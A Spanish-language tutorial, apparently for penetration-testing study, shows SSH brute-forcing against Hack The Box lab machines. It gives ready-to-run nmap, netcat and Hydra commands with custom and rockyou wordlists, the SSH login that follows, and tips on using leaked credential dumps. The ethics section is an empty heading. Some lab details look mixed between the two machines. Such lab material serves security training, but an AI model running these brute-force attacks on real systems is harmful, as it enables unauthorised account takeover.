Ataques SSH: Fuerza Bruta

¿Qué es un Ataque de Fuerza Bruta SSH?

Requisitos para que sea exitoso:

• Puerto SSH abierto y accesible (generalmente puerto 22)
• Uso de contraseñas débiles o por defecto
• Ausencia de rate limiting o protección anti-brute force
• Lista de usuarios válidos (enumeración previa o usernames comunes)

Casos Prácticos: HTB Servenom y Writer

Ataque SSH con Hydra - HTB Servenom (10.10.10.184)

Escenario del ataque:

• Target: HTB Servenom (10.10.10.184)
• Puerto abierto: SSH 22/TCP
• Herramientas: Hydra, listas de usuarios/passwords personalizadas
• Resultado esperado: Credenciales válidas para acceso SSH

Metodología de Explotación:

1

Reconocimiento

Enumeración de puertos SSH y detección de versión

2

Recopilación de Usuarios

Obtención de usernames desde sitio web o enumeración

3

Preparación de Diccionarios

Creación de listas de usuarios y contraseñas objetivo

4

Ataque Brute Force

Ejecución de Hydra con listas múltiples

5

Validación y Acceso

Conexión SSH con credenciales encontradas

Fase 1: Reconocimiento del Servicio SSH

Nmap - Enumeración SSH

nmap -p 22 -sV -sC 10.10.10.184 # Output esperado: # 22/tcp open ssh OpenSSH 7.6p1 # | ssh-hostkey: # | 2048 aa:xx:xx... (RSA) # | 256 bb:yy:yy... (ECDSA) # Banner grabbing adicional nc 10.10.10.184 22

Fase 2: Recopilación de Usuarios Potenciales

Creación de listas

# Usuarios obtenidos de enumeración web cat > users.txt <<'EOF' admin administrator root user guest test kyle servenom www-data developer support EOF # Contraseñas comunes y específicas del target cat > passwords.txt <<'EOF' password 123456 admin root servenom password123 qwerty letmein welcome EOF

Fase 3: Ataque con Hydra

Hydra - Brute Force Attack

# Ataque con listas múltiples hydra -L users.txt -P passwords.txt ssh://10.10.10.184 -t 4 -V # Parámetros explicados: # -L users.txt: Lista de usuarios # -P passwords.txt: Lista de contraseñas # -t 4: 4 threads paralelos (no sobrecargar) # -V: Verbose output # ssh://target: Servicio y objetivo # Salida exitosa esperada: # [22][ssh] host: 10.10.10.184 login: kyle password: password123

En este ejemplo, Hydra encontró credenciales válidas: kyle:password123 después de probar las combinaciones sistemáticamente.

Ataque Dirigido - HTB Writer (10.10.11.101)

Escenario específico:

• Target: HTB Writer (10.10.11.101)
• Usuario conocido: kyle (obtenido de enumeración web)
• Estrategia: Usuario fijo + diccionario masivo
• Diccionario: rockyou.txt (14M+ passwords)

Ataque Dirigido con Rockyou

Hydra - Diccionario masivo

# Localizar rockyou.txt locate rockyou.txt # /usr/share/wordlists/rockyou.txt # Descomprimir si está comprimido gunzip /usr/share/wordlists/rockyou.txt.gz # Ataque dirigido hydra -l kyle -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.101 -t 4 -V -f # Parámetros adicionales: # -l kyle: Usuario específico (fijo) # -f: Detener al encontrar primera credencial válida # -P rockyou.txt: ~14 millones de contraseñas # Monitorear progreso hydra -l kyle -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.101 -t 4 -V -f -s 22

Validación de Credenciales

SSH Connection Test

# Conectar con credenciales encontradas ssh kyle@10.10.11.101 # Verificar acceso y permisos whoami id pwd sudo -l # Enumeración post-acceso ls -la /home/kyle/ cat /home/kyle/user.txt

El ataque con rockyou.txt puede tardar horas dependiendo de la posición de la contraseña en el diccionario. Considerar usar versiones optimizadas o filtradas para targets específicos.

Herramientas Alternativas y Técnicas Avanzadas

NetExec para entornos corporativos

Medusa como alternativa a Hydra

Optimización de diccionarios

• Filtrado por longitud: Eliminar passwords muy cortas/largas según política
• Mangling rules: Aplicar variaciones (mayúsculas, números, años)
• Target-specific wordlists: Crear diccionarios basados en la organización
• Leaked passwords: Usar dumps de credenciales específicos del target

Consideraciones Éticas y Legales